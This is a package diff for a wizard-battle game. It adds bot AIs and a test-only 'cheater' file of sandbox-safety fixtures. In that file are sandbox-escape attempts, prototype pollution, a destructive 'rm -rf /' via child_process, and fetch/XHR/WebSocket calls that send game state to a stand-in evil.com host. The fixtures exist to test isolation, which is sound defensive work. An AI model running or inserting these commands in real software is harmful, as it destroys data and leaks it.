@vibemancer/core 0.1.0

package/src/bots/standalone/Hogger.ts

@@ -0,0 +1,228 @@
+import {WizardFunction, MissileAIFunction} from '../../types.js';
+import {angleTo} from '../../utils/angles.js';
+import {distanceTo} from '../../utils/distance.js';
+import {ARENA_SIZE} from '../../rules.js';
+import {
+	getThreats,
+	getMostUrgentThreat,
+	getDodgeDirectionForMovement,
+	getBlinkToCenter,
+} from '../shared.js';
+const WALL_BUFFER = 60;
+const WALL_PUSH = 30; // How hard to push away from walls
+
+/**
+ * Homing AI that sometimes forgets what it's doing.
+ */
+const ChaoticHoming: MissileAIFunction = ({worldState, random}) => 
+{
+	const enemy = worldState.enemies[0];
+	// 80% chance to actually track, 20% chance to just fly straight
+	if (random() < 0.8) 
+	{
+		return {turnToward: enemy?.position};
+	}
+	return {};
+};
+
+/**
+ * Bot: Hogger
+ *
+ * BEHAVIOR: The elite critter. Chaotic and unpredictable but genuinely dangerous.
+ * Randomly varies missile configs each cast (damage 7-15, speed 3-8, random homing),
+ * moves erratically but still somewhat toward/away from the enemy, shields when
+ * in real danger, and blinks unpredictably. The randomness makes Hogger hard to
+ * predict — you never know if the next missile will be a slow tracker or a fast
+ * snipe. Unlike Critter's pure randomness, Hogger has enough combat awareness
+ * to actually win fights.
+ *
+ * NAMING RATIONALE: In WoW, Hogger is the iconic level 11 elite gnoll in Elwynn
+ * Forest who infamously kills unprepared lowbies. He's technically a basic mob
+ * but hits way harder than expected. This bot is the Critter that learned to
+ * fight — still chaotic, still a bit dumb, but capable of ending you if you
+ * underestimate it. "Hogger" is one of WoW's most recognizable references and
+ * perfectly captures "deceptively dangerous chaos."
+ *
+ * STANDALONE — no tier progression. There's only one Hogger.
+ */
+export const Hogger: WizardFunction = ({state, random}) => 
+{
+	const enemy = state.enemies[0];
+	if (!enemy) 
+	{
+		return {move: {x: 0, y: 0}};
+	}
+
+	const distance = distanceTo(state.position, enemy.position);
+	const threats = getThreats(state);
+	const urgentThreat = getMostUrgentThreat(threats);
+
+	// Erratic movement: mostly toward/away from enemy with random strafe
+	const deltaX = enemy.position.x - state.position.x;
+	const deltaY = enemy.position.y - state.position.y;
+	const normalizedDistance = distance > 0 ? distance : 1;
+
+	// Dodge if there's a real threat
+	const dodgeDirection = getDodgeDirectionForMovement(threats, state.position);
+
+	let moveX: number;
+	let moveY: number;
+
+	if (dodgeDirection) 
+	{
+		// Actually dodge (Hogger isn't stupid)
+		moveX = dodgeDirection.x * 100;
+		moveY = dodgeDirection.y * 100;
+	}
+	else 
+	{
+		// Random strafe component
+		const perpX = -deltaY / normalizedDistance;
+		const perpY = deltaX / normalizedDistance;
+		const strafeIntensity = random() * 80 - 40; // -40 to 40
+
+		// Approach/retreat: prefer medium range (250-400), but sometimes just wander
+		let approachIntensity = 0;
+		if (distance > 400) 
+		{
+			approachIntensity = 40 + random() * 30; // approach
+		}
+		else if (distance < 200) 
+		{
+			approachIntensity = -(30 + random() * 30); // retreat
+		}
+		else 
+		{
+			approachIntensity = random() * 60 - 30; // random walk
+		}
+
+		moveX =
+			perpX * strafeIntensity +
+      (deltaX / normalizedDistance) * approachIntensity;
+		moveY =
+			perpY * strafeIntensity +
+      (deltaY / normalizedDistance) * approachIntensity;
+
+		// Wall avoidance (Hogger doesn't like corners)
+		if (state.position.x < WALL_BUFFER) moveX += WALL_PUSH;
+		if (state.position.x > ARENA_SIZE - WALL_BUFFER) moveX -= WALL_PUSH;
+		if (state.position.y < WALL_BUFFER) moveY += WALL_PUSH;
+		if (state.position.y > ARENA_SIZE - WALL_BUFFER) moveY -= WALL_PUSH;
+	}
+
+	const magnitude = Math.sqrt(moveX * moveX + moveY * moveY);
+	if (magnitude > 100) 
+	{
+		moveX = (moveX / magnitude) * 100;
+		moveY = (moveY / magnitude) * 100;
+	}
+
+	const move = {x: moveX, y: moveY};
+
+	// === DEFENSE: Shield if in real danger ===
+	if (state.state === 'channeling') 
+	{
+		if (!urgentThreat || urgentThreat.ticksToImpact > 120) 
+		{
+			return {move, cancel: true};
+		}
+		return {move: {x: 0, y: 0}};
+	}
+
+	if (
+		state.state === 'idle' &&
+    urgentThreat &&
+    !urgentThreat.bestDodgeDirection
+	) 
+	{
+		if (urgentThreat.canBlockInTime && urgentThreat.ticksToStartShield <= 3) 
+		{
+			return {
+				move: {x: 0, y: 0},
+				startCast: {spell: 'shield'},
+			};
+		}
+		else if (!urgentThreat.canBlockInTime && state.blinkCooldown === 0) 
+		{
+			return {
+				move: {x: 0, y: 0},
+				startCast: {spell: 'blink', target: getBlinkToCenter(state.position)},
+			};
+		}
+	}
+
+	// === OFFENSE: Random blink (sometimes offensive, sometimes random) ===
+	if (state.state === 'idle' && state.blinkCooldown === 0 && random() < 0.03) 
+	{
+		// 60% chance blink toward enemy, 40% chance random blink
+		if (random() < 0.6 && distance > 300) 
+		{
+			return {
+				move: {x: 0, y: 0},
+				startCast: {spell: 'blink', target: enemy.position},
+			};
+		}
+		else 
+		{
+			return {
+				move: {x: 0, y: 0},
+				startCast: {
+					spell: 'blink',
+					target: {
+						x: 100 + random() * 600,
+						y: 100 + random() * 600,
+					},
+				},
+			};
+		}
+	}
+
+	// === OFFENSE: Chaotic missiles ===
+	if (state.state === 'idle' && distance < 500) 
+	{
+		// Random missile config each time
+		const roll = random();
+		let damage: number;
+		let speed: number;
+		let turnRate: number;
+		let duration: number;
+
+		if (roll < 0.3) 
+		{
+			// Fast snipe
+			damage = 8 + Math.floor(random() * 5); // 8-12
+			speed = 6 + random() * 2; // 6-8
+			turnRate = 0;
+			duration = 80 + Math.floor(random() * 40); // 80-120
+		}
+		else if (roll < 0.7) 
+		{
+			// Homing tracker
+			damage = 7 + Math.floor(random() * 5); // 7-11
+			speed = 3 + random() * 2; // 3-5
+			turnRate = 1 + random() * 2; // 1-3
+			duration = 150 + Math.floor(random() * 100); // 150-250
+		}
+		else 
+		{
+			// Big slow bomb
+			damage = 12 + Math.floor(random() * 4); // 12-15
+			speed = 2 + random() * 2; // 2-4
+			turnRate = 0.5 + random() * 1.5; // 0.5-2
+			duration = 200 + Math.floor(random() * 100); // 200-300
+		}
+
+		return {
+			move,
+			startCast: {
+				spell: 'missile',
+				config: {damage, speed, turnRate, duration},
+				missileAI: ChaoticHoming,
+				direction:
+          angleTo(state.position, enemy.position) + (random() * 20 - 10), // ±10° aim wobble
+			},
+		};
+	}
+
+	return {move};
+};

package/src/bots/standalone/Rookie.ts

@@ -0,0 +1,50 @@
+import {WizardFunction} from '../../types.js';
+import {angleTo} from '../../utils/angles.js';
+
+/**
+ * Bot: Rookie
+ *
+ * BEHAVIOR: Stands perfectly still and fires straight (non-homing) missiles at
+ * the enemy. No movement, no dodging, no shielding. Knows one spell and uses
+ * it on cooldown. The wizard equivalent of an FPS player who stands in the open
+ * and holds left-click.
+ *
+ * NAMING RATIONALE: "Rookie" is the universal term for a first-timer who barely
+ * knows what they're doing. This bot is a day-one player who learned how to cast
+ * missile and nothing else. No movement, no defense, just raw "I press the button."
+ * We considered "Noob" (more accurate) but Rookie is less abrasive while conveying
+ * the same thing — a beginner who doesn't know any better.
+ *
+ * STANDALONE — no tier progression. Rookies either learn to play a real class
+ * or quit. This bot represents the rock-bottom of "at least it shoots."
+ */
+export const Rookie: WizardFunction = ({state}) => 
+{
+	const enemy = state.enemies[0];
+	if (!enemy) 
+	{
+		return {move: {x: 0, y: 0}};
+	}
+
+	if (state.state === 'idle') 
+	{
+		return {
+			move: {x: 0, y: 0},
+			startCast: {
+				spell: 'missile',
+				config: {
+					damage: 10,
+					speed: 5,
+					turnRate: 0,
+					duration: 200,
+				},
+				missileAI: () => ({}),
+				direction: angleTo(state.position, enemy.position),
+			},
+		};
+	}
+
+	return {
+		move: {x: 0, y: 0},
+	};
+};

package/src/bots/standalone/TargetDummy.ts

@@ -0,0 +1,21 @@
+import {WizardFunction} from '../../types.js';
+
+/**
+ * Bot: TargetDummy
+ *
+ * BEHAVIOR: Does absolutely nothing. No movement, no spells, no AI.
+ *
+ * NAMING RATIONALE: "Target Dummy" is universal MMO player vocabulary for the
+ * practice objects found in capital cities. Every WoW/FFXIV player has beaten
+ * on a target dummy to test DPS rotations. That's exactly what this bot is —
+ * a punching bag for testing missile mechanics and baseline damage output.
+ * Nobody calls them "training dummies"; the player term is always "target dummy."
+ *
+ * STANDALONE — no tier progression. It's a test fixture, not a combatant.
+ */
+export const TargetDummy: WizardFunction = () => 
+{
+	return {
+		move: {x: 0, y: 0},
+	};
+};

package/src/bots/test/cheater.ts

@@ -0,0 +1,405 @@
+/* eslint-disable @typescript-eslint/no-unsafe-type-assertion, @typescript-eslint/no-explicit-any, @typescript-eslint/explicit-function-return-type, @typescript-eslint/no-unused-expressions */
+/**
+ * CHEATER TEST BOTS
+ *
+ * These bots attempt various exploit techniques to test sandbox safety.
+ * They are NOT registered in ALL_BOTS — test-only.
+ *
+ * Each variant targets a different attack vector:
+ * - CheaterPrototypePollution: modifies built-in prototypes
+ * - CheaterStateCorruption: tries to mutate the game state
+ * - CheaterNodeAccess: tries to access Node.js APIs
+ * - CheaterSandboxEscape: tries to break out of the sandbox
+ * - CheaterNetworkIO: tries fetch, XMLHttpRequest, WebSocket, EventSource
+ * - CheaterScriptInjection: tries importScripts, Worker, SharedWorker, dynamic import
+ * - CheaterStorageAndComms: tries BroadcastChannel, indexedDB, caches, navigator
+ */
+
+import type {WizardFunction} from '../../types.js';
+
+/**
+ * Attempts to modify built-in prototypes to sabotage the other bot.
+ * With prototype freezing enabled, these assignments should silently fail
+ * (or throw in strict mode), and the match should proceed normally.
+ */
+export const CheaterPrototypePollution: WizardFunction = () => 
+{
+	try 
+	{
+		// Try to sabotage Array methods used by the other bot
+		(Array.prototype as any).map = () => [];
+		(Array.prototype as any).filter = () => [];
+		(Array.prototype as any).find = () => undefined;
+
+		// Try to sabotage Object
+		(Object.prototype as any).position = {x: 0, y: 0};
+		(Object.prototype as any).health = 0;
+
+		// Try to sabotage Math functions used by combat calculations
+		(Math as any).sqrt = () => 0;
+		(Math as any).atan2 = () => 0;
+	}
+	catch 
+	{
+		// Frozen prototypes will throw in strict mode — that's expected
+	}
+
+	return {move: {x: 0, y: 0}};
+};
+
+/**
+ * Attempts to mutate the game state object passed to it, hoping to corrupt
+ * the simulation. With proper state views (copies), mutations should have
+ * no effect on the actual simulation state.
+ */
+export const CheaterStateCorruption: WizardFunction = ({state}) => 
+{
+	try 
+	{
+		// Try to give ourselves infinite health
+		(state as any).health = 999999;
+		(state as any).maxHealth = 999999;
+
+		// Try to kill enemies by modifying their state
+		for (const enemy of state.enemies) 
+		{
+			(enemy as any).health = 0;
+			(enemy as any).position = {x: -9999, y: -9999};
+		}
+
+		// Try to delete all enemy projectiles
+		for (const proj of state.projectiles) 
+		{
+			(proj as any).damage = 0;
+			(proj as any).remainingTicks = 0;
+		}
+
+		// Try to modify the position directly
+		state.position.x = 400;
+		state.position.y = 400;
+	}
+	catch 
+	{
+		// Expected if state is frozen
+	}
+
+	return {move: {x: 0, y: 0}};
+};
+
+/**
+ * Attempts to access Node.js APIs that should not be available in the sandbox.
+ * With esbuild platform: 'neutral', these should all be undefined or throw.
+ */
+export const CheaterNodeAccess: WizardFunction = () => 
+{
+	try 
+	{
+		// Try to access filesystem
+		const fs = (globalThis as any).require?.('fs');
+		fs?.writeFileSync?.('/tmp/hacked', 'pwned');
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	try 
+	{
+		// Try to access process
+		const proc = (globalThis as any).process;
+		proc?.exit?.(1);
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	try 
+	{
+		// Try to spawn child process
+		const cp = (globalThis as any).require?.('child_process');
+		cp?.execSync?.('rm -rf /');
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	try 
+	{
+		// Try to access network
+		const net = (globalThis as any).require?.('net');
+		net?.createConnection?.({host: 'evil.com', port: 80});
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	return {move: {x: 0, y: 0}};
+};
+
+/**
+ * Attempts to escape the sandbox using known V8/JavaScript escape techniques.
+ * These should all fail within isolated-vm.
+ */
+export const CheaterSandboxEscape: WizardFunction = () => 
+{
+	try 
+	{
+		// Classic sandbox escape: constructor.constructor to get Function constructor
+		const fn = {}.constructor.constructor('return this')();
+		// If this works, fn would be the global object outside the sandbox
+		(fn as any)?.process?.exit?.(1);
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	try 
+	{
+		// Try to access the global scope via Function
+		const global = Function('return this')();
+		(global as any)?.process?.exit?.(1);
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	try 
+	{
+		// Try eval-based escape
+		const result = eval('globalThis.process');
+		(result as any)?.exit?.(1);
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	try 
+	{
+		// Try to access import.meta (might leak host info)
+		const meta = import.meta as any;
+		meta?.url; // Should just be undefined or sandboxed
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	return {move: {x: 0, y: 0}};
+};
+
+// ============================================================================
+// IO / NETWORK CHEATER BOTS
+// ============================================================================
+
+/**
+ * Attempts to make network requests using every browser IO API.
+ * All of these should be blocked by the IO sandbox banner.
+ * If any succeeds, it would be a security vulnerability — bot code could
+ * exfiltrate game state, load external code, or communicate with C2 servers.
+ */
+export const CheaterNetworkIO: WizardFunction = ({state}) => 
+{
+	const g = globalThis as any;
+
+	// --- fetch ---
+	try 
+	{
+		const result = g.fetch?.('https://evil.com/exfil?hp=' + state.health);
+		// If fetch exists and returns a promise, that's a breach
+		if (result && typeof result.then === 'function') 
+		{
+			// Should never reach here
+		}
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	// --- XMLHttpRequest ---
+	try 
+	{
+		const xhr = g.XMLHttpRequest ? new g.XMLHttpRequest() : null;
+		xhr?.open?.('POST', 'https://evil.com/exfil');
+		xhr?.send?.(
+			JSON.stringify({health: state.health, position: state.position}),
+		);
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	// --- WebSocket ---
+	try 
+	{
+		const ws = g.WebSocket ? new g.WebSocket('wss://evil.com/c2') : null;
+		ws?.send?.('connected');
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	// --- EventSource (Server-Sent Events) ---
+	try 
+	{
+		const es = g.EventSource
+			? new g.EventSource('https://evil.com/commands')
+			: null;
+		es?.close?.();
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	// --- navigator.sendBeacon ---
+	try 
+	{
+		g.navigator?.sendBeacon?.('https://evil.com/beacon', 'data');
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	return {move: {x: 0, y: 0}};
+};
+
+/**
+ * Attempts to inject external scripts or create sub-workers to bypass sandbox.
+ * importScripts can load and execute arbitrary JS from any URL.
+ * Worker/SharedWorker can spawn new contexts without IO restrictions.
+ */
+export const CheaterScriptInjection: WizardFunction = () => 
+{
+	const g = globalThis as any;
+
+	// --- importScripts (Web Worker API: loads & executes external JS) ---
+	try 
+	{
+		g.importScripts?.('https://cdn.evil.com/payload.js');
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	// --- Worker (create sub-worker to bypass restrictions) ---
+	try 
+	{
+		const w = g.Worker
+			? new g.Worker('data:text/javascript,fetch("https://evil.com")')
+			: null;
+		w?.terminate?.();
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	// --- SharedWorker ---
+	try 
+	{
+		const sw = g.SharedWorker
+			? new g.SharedWorker('data:text/javascript,fetch("https://evil.com")')
+			: null;
+		sw?.port?.close?.();
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	// --- Reconstruct fetch via Request/Response ---
+	try 
+	{
+		const req = g.Request ? new g.Request('https://evil.com/data') : null;
+		if (req) 
+		{
+			// Without fetch, a Request object alone can't send anything,
+			// but verify the constructor is also blocked
+		}
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	return {move: {x: 0, y: 0}};
+};
+
+/**
+ * Attempts to use storage and cross-context communication APIs.
+ * These could be used to persist data between matches, leak info across
+ * tabs, or coordinate with external code.
+ */
+export const CheaterStorageAndComms: WizardFunction = () => 
+{
+	const g = globalThis as any;
+
+	// --- BroadcastChannel (cross-tab/worker communication) ---
+	try 
+	{
+		const bc = g.BroadcastChannel
+			? new g.BroadcastChannel('exfil-channel')
+			: null;
+		bc?.postMessage?.('secret data');
+		bc?.close?.();
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	// --- indexedDB (persistent storage) ---
+	try 
+	{
+		const db = g.indexedDB?.open?.('exfil-db', 1);
+		if (db) 
+		{
+			// If indexedDB is available, bot could store/retrieve data across matches
+		}
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	// --- Cache API ---
+	try 
+	{
+		const cache = g.caches?.open?.('exfil-cache');
+		if (cache && typeof cache.then === 'function') 
+		{
+			// Could cache external resources for later use
+		}
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	// --- navigator (various APIs) ---
+	try 
+	{
+		// navigator.clipboard, navigator.geolocation, etc.
+		const nav = g.navigator;
+		nav?.clipboard?.writeText?.('stolen data');
+		nav?.geolocation?.getCurrentPosition?.(() => 
+		{});
+	}
+	catch 
+	{
+		/* expected */
+	}
+
+	return {move: {x: 0, y: 0}};
+};